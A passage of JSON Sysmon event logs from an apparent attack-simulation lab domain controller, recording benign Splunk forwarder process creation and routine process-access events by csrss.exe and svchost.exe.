11:54:37","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":1,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":5,"Task":1,"OpcodeValue":0,"RecordNumber":4093,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process Create:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:54:37.048\r\nProcessGuid: {90617006-40FD-5F2D-0000-001084CB0500}\r\nProcessId: 2812\r\nImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-admon.exe\r\nFileVersion: 8.0.2\r\nDescription: Active Directory monitor\r\nProduct: splunk Application\r\nCompany: Splunk Inc.\r\nOriginalFileName: splunk-admon.exe\r\nCommandLine: \"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-admon.exe\"\r\nCurrentDirectory: C:\\Windows\\system32\\\r\nUser: NT AUTHORITY\\SYSTEM\r\nLogonGuid: {90617006-3FD2-5F2D-0000-0020E7030000}\r\nLogonId: 0x3E7\r\nTerminalSessionId: 0\r\nIntegrityLevel: System\r\nHashes: MD5=947139F3BB2AB70CAF692A60C7A3A735,SHA256=940554A0170A70F634689CC84B00C51AC0BCF773C9639E1305E3672441FC85C8,IMPHASH=357CEC18833E7FF2ABFB722902B13165\r\nParentProcessGuid: {90617006-407B-5F2D-0000-0010B4110500}\r\nParentProcessId: 5056\r\nParentImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\r\nParentCommandLine: \"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\" service","Category":"Process Create (rule: ProcessCreate)","Opcode":"Info","UtcTime":"2020-08-07 11:54:37.048","ProcessGuid":"{90617006-40FD-5F2D-0000-001084CB0500}","Image":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-admon.exe","FileVersion":"8.0.2","Description":"Active Directory monitor","Product":"splunk Application","Company":"Splunk Inc.","OriginalFileName":"splunk-admon.exe","CommandLine":"\"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-admon.exe\"","CurrentDirectory":"C:\\Windows\\system32\\","User":"NT AUTHORITY\\SYSTEM","LogonGuid":"{90617006-3FD2-5F2D-0000-0020E7030000}","LogonId":"0x3e7","TerminalSessionId":"0","IntegrityLevel":"System","Hashes":"MD5=947139F3BB2AB70CAF692A60C7A3A735,SHA256=940554A0170A70F634689CC84B00C51AC0BCF773C9639E1305E3672441FC85C8,IMPHASH=357CEC18833E7FF2ABFB722902B13165","ParentProcessGuid":"{90617006-407B-5F2D-0000-0010B4110500}","ParentProcessId":"5056","ParentImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe","ParentCommandLine":"\"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\" service","EventReceivedTime":"2020-08-07 11:54:38","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:54:37","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4094,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:54:37.047\r\nSourceProcessGUID: {90617006-407B-5F2D-0000-0010B4110500}\r\nSourceProcessId: 5056\r\nSourceThreadId: 3932\r\nSourceImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\r\nTargetProcessGUID: {90617006-40FD-5F2D-0000-001084CB0500}\r\nTargetProcessId: 2812\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-admon.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+ce6a3b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+17cade|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+18641d|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+17ef16|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c992c4|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+18689b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+189d3c|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c95f5f|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c99fad|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+184c5b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c7dd7e|C:\\Windows\\System32\\ucrtbase.dll+1fb80|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:54:37.047","SourceProcessGUID":"{90617006-407B-5F2D-0000-0010B4110500}","SourceProcessId":"5056","SourceThreadId":"3932","SourceImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe","TargetProcessGUID":"{90617006-40FD-5F2D-0000-001084CB0500}","TargetProcessId":"2812","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-admon.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+ce6a3b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+17cade|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+18641d|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+17ef16|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c992c4|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+18689b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+189d3c|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c95f5f|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c99fad|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+184c5b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c7dd7e|C:\\Windows\\System32\\ucrtbase.dll+1fb80|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:54:38","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:54:37","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4095,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:54:37.047\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 660\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-40FD-5F2D-0000-001084CB0500}\r\nTargetProcessId: 2812\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-admon.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:54:37.047","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"660","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-40FD-5F2D-0000-001084CB0500}","TargetProcessId":"2812","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-admon.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 11:54:38","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:54:37","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4096,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:54:37.047\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:54:37.047","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:54:38","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:54:37","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4097,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:54:37.047\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:54:37.047","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:54:38","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:54:37","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4098,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:54:37.047\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:54:37.047","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:54:38","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:54:37","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4099,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:54:37.047\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:54:37.047","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:54:38","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:54:37","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4100,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:54:37.047\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:54:37.047","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:54:38","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:54:37","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4101,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:54:37.047\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: 